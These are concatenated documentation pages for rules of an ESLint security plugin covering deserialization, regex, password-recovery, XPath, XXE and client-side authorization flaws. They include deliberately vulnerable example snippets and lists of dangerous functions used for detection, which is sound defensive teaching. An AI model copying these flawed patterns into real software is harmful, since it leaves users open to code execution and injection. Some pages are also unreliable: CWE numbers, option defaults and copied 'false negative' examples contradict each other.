**Feedback-loop tier** | Editor / pre-commit (sub-second) — cheapest layer per the [feedback-loop hierarchy](../../../../cicd-impact/philosophy.md#the-feedback-loop-hierarchy--why-a-high-end-static-analyzer-is-the-highest-leverage-investment) | | **Defensive-layer leverage** | \~10× cheaper than unit-test · \~1,000× cheaper than production rollback · **10,000+× cheaper than disclosure** — RCE-class vulnerability sits at the highest tier of the cost-ratio table ([cost-ratio anchors](../../../../cicd-impact/philosophy.md#deliverability-axis--quality-risk-and-ma-diligence)) | | **Niche relevance** | **Critical:** fintech, cybersecurity, infra/devtools (downstream RCE blast radius) · **High:** B2B SaaS, healthtech · **Medium:** B2C, marketplaces | | **Investor-frame impact** | Insecure deserialization → Remote Code Execution (CVSS 9.8). One incident = full system compromise → mandatory disclosure → audit cycle restart → customer trust event. The single highest-leverage rule by counterfactual-value math: the catch costs \~$0; the unprevented bug costs the company. | **Read also:** [`philosophy.md` §investor-frame](../../../../cicd-impact/philosophy.md#the-investor-frame--engineering-efficiency-as-a-portfolio-metric) · [`niche-presets.json`](../../../../cicd-impact/data/niche-presets.json) · [`analyzer-evaluation-framework.md`](../../../../cicd-impact/analyzer-evaluation-framework.md) ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Unsafe deserialization happens when an application accepts serialized objects from untrusted sources and deserializes them without validation. **Risk:** Serialized data can contain malicious payloads that, upon deserialization, execute arbitrary code (Remote Code Execution - RCE), modify application logic, or cause Denial of Service (DoS). This is often considered one of the most critical security risks. ## Rule Details [#rule-details] Unsafe deserialization occurs when untrusted data is deserialized in a way that allows attackers to execute arbitrary code or manipulate application logic. This includes: * Using `eval()` or `Function()` on untrusted data * YAML parsers that execute code * JSON with prototype pollution * Insecure serialization libraries ### What is NOT reported [#what-is-not-reported] Two exclusions were added in 2026-07 after a 1,470-file corpus run (webpack, lodash, eslint-plugin-import, two NestJS boilerplates) produced 35 findings, all of them false, all at CVSS 9.8 CRITICAL: * **`setTimeout` / `setInterval` with a non-string first argument.** These are a code-execution sink only in their implied-`eval` form. `setTimeout(cb, 1000)` is a scheduler. The rule previously reported `await new Promise(resolve => setTimeout(resolve, 1000))` — an ordinary sleep — because `setTimeout` is on the dangerous-function list and `resolve` is an enclosing arrow-function parameter. `setTimeout("alert(" + userCode + ")", 100)` still reports. * **Calls inside a deserializer implementation.** `super.deserialize(context)`, `this.deserialize(context)`, and any `x.deserialize(…)` sitting inside a function named `deserialize` / `unserialize` / `fromJSON` / `fromBuffer`. That is a class implementing a (de)serialization protocol and chaining to the next layer of it — webpack's `static deserialize(context)` factories account for 33 of the 35 findings. A rule that cannot see the protocol cannot judge it. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | -------------------------- | ---------------------- | ------------------------------ | | 💻 **RCE** | Full system compromise | Use safe deserializers | | 🎭 **Object Manipulation** | Logic bypass | Validate before deserializing | | 🔓 **Auth Bypass** | Unauthorized access | Use JSON.parse() for JSON data | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript const func = new Function(req.body.input); ``` ### ✅ Correct [#-correct] ```typescript // Use JSON.parse() for JSON data const data = JSON.parse(userInput); // YAML with safeLoad import yaml from 'js-yaml'; const config = yaml.safeLoad(userYaml); // Or with explicit safe schema const config = yaml.load(userYaml, { schema: yaml.SAFE_SCHEMA }); // Validate before deserialization if (isValidJson(userInput)) { const data = JSON.parse(userInput); } // Use safe serialization libraries import { safeDeserialize } from 'safe-serialize'; const obj = safeDeserialize(userInput); ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-unsafe-deserialization': ['error', { dangerousFunctions: ['eval', 'Function', 'serialize.unserialize'], safeLibraries: ['safe-serialize', 'json5'], validationFunctions: ['isValidJson', 'validateInput'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | --------------------- | ---------- | ------------------------------------------------------------------------------------------ | ----------------------------------------------------------- | | `dangerousFunctions` | `string[]` | `["eval","Function","setTimeout","setInterval","unserialize","deserialize","parseUnsafe"]` | Functions that execute or deserialize untrusted input | | `safeLibraries` | `string[]` | `["JSON","safe-json-parse","js-yaml.safeLoad","protobuf","msgpack"]` | Parsers that do not execute their input | | `validationFunctions` | `string[]` | `["validateInput","sanitizeData","checkSchema","validateSchema"]` | Function names that count as input validation | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as safe deserializers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-502 OWASP:A08 CVSS:9.8 | Deserialization of Untrusted Data detected | CRITICAL Fix: Review and apply the recommended fix | https://owasp.org/Top10/A08_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-502](https://cwe.mitre.org/data/definitions/502.html) [OWASP:A08](https://owasp.org/Top10/A08_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Deserialization of Untrusted Data detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A08_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP Deserialization](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_Insecure_Deserialization)** - Testing guide * **[CWE-502](https://cwe.mitre.org/data/definitions/502.html)** - Official CWE entry * **[js-yaml Security](https://www.npmjs.com/package/js-yaml#security)** - YAML security ## Related Rules [#related-rules] * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - eval() injection * [`detect-object-injection`](./detect-object-injection.md) - Prototype pollution # no-unsafe-regex-construction **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ESLint Rule: no-unsafe-regex-construction with LLM-optimized suggestions and auto-fix capabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ----------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-185](https://cwe.mitre.org/data/definitions/185.html) (Incorrect Regular Expression) | | **Severity** | Error (Security) | | **Auto-Fix** | ❌ No | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Production applications handling user input | | **Suggestions** | ✅ Advice on escaping input | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Constructing regular expressions from untrusted or unvalidated user input. **Risk:** Attackers can inject malicious regex patterns (Regex Injection) or complex patterns that cause excessive backtracking (ReDoS), leading to Denial of Service. They might also alter the logic of the regex to bypass validations (e.g., changing a match standard to match *anything*). ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-400 OWASP:A06 CVSS:7.5 | Uncontrolled Resource Consumption (ReDoS) detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Uncontrolled Resource Consumption (ReDoS) detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | ## Rule Details [#rule-details] This rule detects the creation of `RegExp` objects using user-controlled input. Constructing a regular expression from untrusted input is dangerous because it leads to: 1. **ReDoS (Regular Expression Denial of Service)**: An attacker can provide a pattern that causes catastrophic backtracking (e.g., `(a+)+`). 2. **Logic Errors**: An attacker can inject special characters (like `*`, `+`, `|`) to alter the matching behavior in unintended ways. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD Start[User Input] --> Construct{new RegExp(input)} Construct -->|Unescaped| Risk[🚨 ReDoS / Injection Risk] Construct -->|Escaped| Safe[✅ Safe Pattern] Risk -->|Attacker Input| Crash[💥 App Crash/Dos] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef warnNode fill:#fffbeb,stroke:#d97706,stroke-width:2px,color:#1f2937 class Start startNode class Crash errorNode class Risk warnNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------- | ----------------------------------- | ---------------------------------------- | | 🔒 **Security** | Denial of Service (DoS) | Escape user input before creating RegExp | | 🐛 **Logic** | Regex Injection (bypassing filters) | Use `escape-string-regexp` | ## Configuration [#configuration] This rule accepts an options object: ```typescript { "rules": { "secure-coding/no-unsafe-regex-construction": ["error", { "allowLiterals": false, // Default: false. Allow new RegExp("fixed-string"). "trustedEscapingFunctions": ["escapeRegex", "escape", "sanitize"], // Default list of safe functions. "maxPatternLength": 100 // Default: 100. Limit the length of dynamic patterns. }] } } ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Direct user input usage const pattern = new RegExp(req.query.search); // Template literal with user input const pattern2 = new RegExp(`^${userPrefix}`); // Passing variables without sanitization function search(term) { return new RegExp(term, 'i'); } ``` ### ✅ Correct [#-correct] ```typescript const regex = /^[a-z]+$/; ``` ## LLM-Based Suggestions [#llm-based-suggestions] The rule provides guidance on how to fix detected patterns: * **"Escape User Input"**: Suggests using a library like `escape-string-regexp` to neutralize special characters. * **"Use Literal"**: Suggests converting `new RegExp("constant")` to `/constant/` if possible. ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) * [MDN: RegExp](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) * [NPM: escape-string-regexp](https://www.npmjs.com/package/escape-string-regexp) ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------------- | ---------- | ------------------------------------- | ---------------------------------------- | | `allowLiterals` | `boolean` | `true` | Allow literal string patterns | | `trustedEscapingFunctions` | `string[]` | `["escapeRegex","escape","sanitize"]` | Trusted functions that escape input | | `maxPatternLength` | `number` | `100` | Maximum pattern length for dynamic regex | # no-weak-password-recovery **CWE:** [CWE-798](https://cwe.mitre.org/data/definitions/798.html)\ **OWASP Mobile:** [M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) ESLint Rule: no-weak-password-recovery with LLM-optimized suggestions and auto-fix capabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ----------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-640](https://cwe.mitre.org/data/definitions/640.html) (Weak Password Recovery) | | **Severity** | Error (Security) | | **Auto-Fix** | ❌ No | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Authentication systems, User management | | **Suggestions** | ✅ Advice on secure token generation | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Weak password recovery mechanisms allow attackers to reset user passwords without proper authorization. This typically involves predictable reset tokens (e.g., sequential IDs, timestamps, weak random) or insecure channels (e.g., sending the new password effectively in cleartext over email). **Risk:** Account Takeover (ATO). If an attacker can guess or brute-force the reset token, they can change the victim's password and lock them out of their account, gaining full access to their data and capabilities. ## Rule Details [#rule-details] This rule scans for weak password recovery mechanisms, such as: 1. **Low Entropy Tokens**: Tokens that are easy to guess or predict (e.g., using `Math.random()` or timestamps). 2. **No Expiration**: Recovery links that valid indefinitely. 3. **Knowledge-Based Authentication (KBA)**: Using security questions like "What is your mother's maiden name?" which are easily researchable. Account Takeover (ATO) often happens via weak recovery flows rather than cracking the main password. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f6ffed', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD User[User] -->|Forgot Password| App{Application} App -->|Generate Weak Token| WeakToken[Random/Number] App -->|Generate Strong Token| StrongToken[Crypto Random 32 bytes] WeakToken -->|Brute Force / Prediction| Attacker[🕵️ Attacker] StrongToken -->|High Entropy| Secure[🔒 Secure Reset] Attacker -->|Takeover Account| ATO["💥 Account Takeover"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 class App startNode class ATO errorNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------- | ------------------------------ | ------------------------ | | 🔒 **Security** | Account Takeover (CWE-640) | Use CSPRNG for tokens | | 🛡️ **Privacy** | Personal data exposure via KBA | Avoid security questions | ## Configuration [#configuration] This rule accepts an options object: ```typescript { "rules": { "secure-coding/no-weak-password-recovery": ["error", { // Minimum bits of entropy for tokens (default: 128) "minTokenEntropy": 128, // Maximum lifetime of recovery tokens in hours (default: 1) "maxTokenLifetimeHours": 1, // Functions considered secure for token generation (default: randomBytes, uuidv4, etc.) "secureTokenFunctions": ["randomBytes", "uuidv4", "uid"], // Keywords to identify recovery flows "recoveryKeywords": ["forgot", "recover", "reset", "password"] }] } } ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript const passwordResetToken = generatePredictableToken(); ``` ### ✅ Correct [#-correct] ```typescript // Cryptographically secure token import { randomBytes } from 'crypto'; const token = randomBytes(32).toString('hex'); // Token with expiration const resetToken = { token: randomBytes(32).toString('hex'), expiresAt: Date.now() + 3600000, // 1 hour userId: user.id, }; await db.passwordResets.create(resetToken); // Rate limiting import rateLimit from 'express-rate-limit'; const resetLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 3, // 3 requests per window }); app.post('/reset-password', resetLimiter, async (req, res) => { // Implementation }); // Validate token on use const reset = await db.passwordResets.findOne({ token }); if (!reset || reset.expiresAt < Date.now()) { throw new Error('Invalid or expired token'); } ``` ## Configuration [#configuration-1] ```javascript { rules: { 'secure-coding/no-weak-password-recovery': ['error', { minTokenEntropy: 128, maxTokenLifetimeHours: 24, recoveryKeywords: ['reset', 'recover', 'forgot', 'password'], secureTokenFunctions: ['randomBytes', 'crypto.randomUUID'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ----------------------- | ---------- | -------------------------------------------------------------------------------- | -------------------------------------------------------- | | `minTokenEntropy` | `number` | `128` | Minimum recovery-token entropy in bits | | `maxTokenLifetimeHours` | `number` | `1` | Maximum recovery-token lifetime in hours | | `recoveryKeywords` | `string[]` | `["reset","password","recovery","forgot","token","resetToken"]` | Identifier keywords that mark password-recovery code | | `secureTokenFunctions` | `string[]` | `["crypto.randomBytes","crypto.randomUUID","randomBytes","generateSecureToken"]` | Functions that generate cryptographically secure tokens | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as secure | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-640 OWASP:A07-Auth CVSS:9.8 | Weak Password Recovery | CRITICAL [SOC2,PCI-DSS,HIPAA] Fix: Use cryptographically secure tokens with expiration | https://cwe.mitre.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Credentials from Config [#credentials-from-config] **Why**: Config values not traced. ```typescript // ❌ NOT DETECTED - From config const password = config.dbPassword; ``` **Mitigation**: Use proper secrets management. ### Environment Variables [#environment-variables] **Why**: Env var content not analyzed. ```typescript // ❌ NOT DETECTED - Env var const secret = process.env.API_KEY; ``` **Mitigation**: Never hardcode or expose secrets. ### Dynamic Credential Access [#dynamic-credential-access] **Why**: Dynamic property access not traced. ```typescript // ❌ NOT DETECTED - Dynamic const cred = credentials[type]; ``` **Mitigation**: Audit all credential access patterns. ## Further Reading [#further-reading] * **[OWASP Forgot Password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)** - Password recovery cheat sheet * **[CWE-640](https://cwe.mitre.org/data/definitions/640.html)** - Weak password recovery * **[ASVS Password Reset](https://github.com/OWASP/ASVS)** - Verification standard ## Related Rules [#related-rules] * [`no-hardcoded-credentials`](./no-hardcoded-credentials.md) - Hardcoded credentials * [`no-insufficient-random`](./no-insufficient-random.md) - Weak random generation # no-xpath-injection **CWE:** [CWE-74](https://cwe.mitre.org/data/definitions/74.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects XPath injection vulnerabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ---------------------------------------------------------------------------- | | **CWE Reference** | [CWE-643](https://cwe.mitre.org/data/definitions/643.html) (XPath Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** XPath injection allows attackers to construct a query that interferes with the application's XML processing. It occurs when user input is concatenated directly into an XPath query string. **Risk:** Similar to SQL Injection, this can allow attackers to read sensitive XML data, bypass authentication logic (if XML is used for auth), or modify XML structure if the query is used for updates. ## Rule Details [#rule-details] XPath injection occurs when user input is improperly inserted into XPath queries, allowing attackers to: * Access unauthorized XML nodes and data * Extract sensitive information from XML documents * Bypass authentication or authorization checks * Perform data exfiltration ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------ | ----------------------- | --------------------------- | | 🔓 **Auth Bypass** | Unauthorized access | Parameterize XPath queries | | 📤 **Data Theft** | Sensitive data exposure | Validate and escape input | | 🔍 **Enumeration** | Information disclosure | Use safe XPath construction | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // String interpolation in XPath const xpath = `/users/user[@name='${username}']`; const result = xmlDoc.evaluate(xpath, xmlDoc); // String concatenation const query = "//user[@id='" + userId + "']"; // Template literal with untrusted input const search = `/items/item[contains(text(), '${searchTerm}')]`; ``` ### ✅ Correct [#-correct] ```typescript const safeId = validateId(userInput); const xpath = `/users/user[@id="${safeId}"]`; ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-xpath-injection': ['error', { xpathFunctions: ['evaluate', 'selectSingleNode', 'selectNodes'], xpathValidationFunctions: ['validateXPath', 'escapeXPath'], safeXpathConstructors: ['buildXPath', 'createXPath'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | -------------------------- | ---------- | ---------------------------------------------------------------- | --------------------------------------------------------- | | `xpathFunctions` | `string[]` | `["evaluate","selectSingleNode","selectNodes","xpath","select"]` | XPath evaluation methods treated as query sinks | | `safeXpathConstructors` | `string[]` | `["buildXPath","createXPath","safeXPath","xpathBuilder"]` | Builders that produce a parameterized XPath expression | | `xpathValidationFunctions` | `string[]` | `["validateXPath","escapeXPath","sanitizeXPath","cleanXPath"]` | Function names that escape or validate XPath input | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as XPath sanitizers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-643 OWASP:A03-Injection CVSS:9.8 | XPath Injection detected | CRITICAL [SOC2,PCI-DSS] Fix: Use parameterized XPath or escape user input | https://owasp.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Query from Variable [#query-from-variable] **Why**: Query strings from variables not traced. ```typescript // ❌ NOT DETECTED - Query from variable const query = `SELECT * FROM users WHERE id = ${userId}`; db.execute(query); ``` **Mitigation**: Always use parameterized queries. ### Custom Query Builders [#custom-query-builders] **Why**: Custom ORM/query builders not recognized. ```typescript // ❌ NOT DETECTED - Custom builder customQuery.where(userInput).execute(); ``` **Mitigation**: Review all query builder patterns. ### Template Engines [#template-engines] **Why**: Template-based queries not analyzed. ```typescript // ❌ NOT DETECTED - Template executeTemplate('query.sql', { userId }); ``` **Mitigation**: Validate all template variables. ## Further Reading [#further-reading] * **[OWASP XPath Injection](https://owasp.org/www-community/attacks/XPATH_Injection)** - Attack documentation * **[CWE-643](https://cwe.mitre.org/data/definitions/643.html)** - Official CWE entry ## Related Rules [#related-rules] * [`no-xxe-injection`](./no-xxe-injection.md) - XXE injection prevention * [`no-sql-injection`](./no-sql-injection.md) - SQL injection prevention # no-xxe-injection **CWE:** [CWE-74](https://cwe.mitre.org/data/definitions/74.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects XML External Entity (XXE) injection vulnerabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------------- | | **CWE Reference** | [CWE-611](https://cwe.mitre.org/data/definitions/611.html) (XXE Injection) | | **Severity** | Critical (CVSS 9.1) | | **Auto-Fix** | ❌ Manual fix required | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** XML External Entity (XXE) vulnerabilities occur when XML input containing a reference to an external entity is processed by a weakly configured XML parser. **Risk:** An attacker can use XXE to access local files on the server (Local File Inclusion), perform Server-Side Request Forgery (SSRF) attacks, or cause Denial of Service (DoS) via "Billion Laughs" attacks (recursive entity expansion). ## Rule Details [#rule-details] XXE injection occurs when XML parsers process external entity references, allowing attackers to: * Read sensitive local files (`/etc/passwd`, config files) * Make HTTP requests to internal services (SSRF) * Cause DoS through entity expansion ("billion laughs" attack) * Perform port scanning of internal networks ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------- | ----------------------- | ------------------------- | | 📂 **File Disclosure** | Sensitive data exposure | Disable external entities | | 🌐 **SSRF** | Internal network access | Use safe XML parsers | | 💣 **DoS** | Service unavailability | Limit entity expansion | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Unsafe DOMParser usage const parser = new DOMParser(); const doc = parser.parseFromString(userXml, 'text/xml'); // XML with dangerous entity declarations const xml = ` ]> &xxe; `; // Parsing untrusted XML without validation const data = xmlParser.parse(req.body.xml); ``` ### ✅ Correct [#-correct] ```typescript const libxml = require("libxmljs"); const doc = libxml.parseXmlString(xmlString, { noent: false }); ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-xxe-injection': ['error', { safeParserOptions: ['noent', 'resolveExternals'], xmlValidationFunctions: ['validateXml', 'sanitizeXml'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------------ | ---------- | ------------------------------------------------------------------------ | ---------------------------------------- | | `safeParserOptions` | `string[]` | `["noent","resolveExternals","expandEntityReferences","entityResolver"]` | Options that indicate safe configuration | | `xmlValidationFunctions` | `string[]` | `["validateXml","sanitizeXml","cleanXml","parseXmlSafe"]` | Functions that validate XML input | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-611 OWASP:A05 CVSS:9.1 | XXE (XML External Entity) detected | CRITICAL Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-611](https://cwe.mitre.org/data/definitions/611.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `XXE (XML External Entity) detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Query from Variable [#query-from-variable] **Why**: Query strings from variables not traced. ```typescript // ❌ NOT DETECTED - Query from variable const query = `SELECT * FROM users WHERE id = ${userId}`; db.execute(query); ``` **Mitigation**: Always use parameterized queries. ### Custom Query Builders [#custom-query-builders] **Why**: Custom ORM/query builders not recognized. ```typescript // ❌ NOT DETECTED - Custom builder customQuery.where(userInput).execute(); ``` **Mitigation**: Review all query builder patterns. ### Template Engines [#template-engines] **Why**: Template-based queries not analyzed. ```typescript // ❌ NOT DETECTED - Template executeTemplate('query.sql', { userId }); ``` **Mitigation**: Validate all template variables. ## Further Reading [#further-reading] * **[OWASP XXE Prevention](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)** - Prevention cheat sheet * **[CWE-611](https://cwe.mitre.org/data/definitions/611.html)** - Official CWE entry * **[PortSwigger XXE](https://portswigger.net/web-security/xxe)** - XXE attack techniques ## Related Rules [#related-rules] * [`no-xpath-injection`](./no-xpath-injection.md) - XPath injection prevention * [`no-sql-injection`](./no-sql-injection.md) - SQL injection prevention # require-backend-authorization ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ----------------------------------------- | | **Severity** | Critical (Authorization Bypass) | | **Auto-Fix** | ❌ No (requires architectural change) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Web and Mobile applications with backends | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Client-side enforcement of security occurs when critical authorization logic (e.g., "is the user an admin?") is performed only in the frontend code. **Risk:** Attackers can easily bypass client-side checks by modifying the JavaScript code in their browser, using proxy tools, or calling backend APIs directly. Authorization MUST be enforced on the server-side for every sensitive operation. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-602 OWASP:M3 | Client-Side Authorization detected | CRITICAL [AuthBypass] Fix: Move authorization checks to server-side API endpoints | https://cwe.mitre.org/data/definitions/602.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-602](https://cwe.mitre.org/data/definitions/602.html) [OWASP:M3](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Client-Side Authorization detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [AuthBypass]` | | **Fix Instruction** | Actionable remediation | `Move checks to server-side API endpoints` | | **Technical Truth** | Official reference | [Client-Side Security](https://cwe.mitre.org/data/definitions/602.html) | ## Rule Details [#rule-details] This rule flags common patterns where sensitive properties like `isAdmin`, `role`, or `permissions` are used in client-side conditional statements (`if` blocks) to gate functionality. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 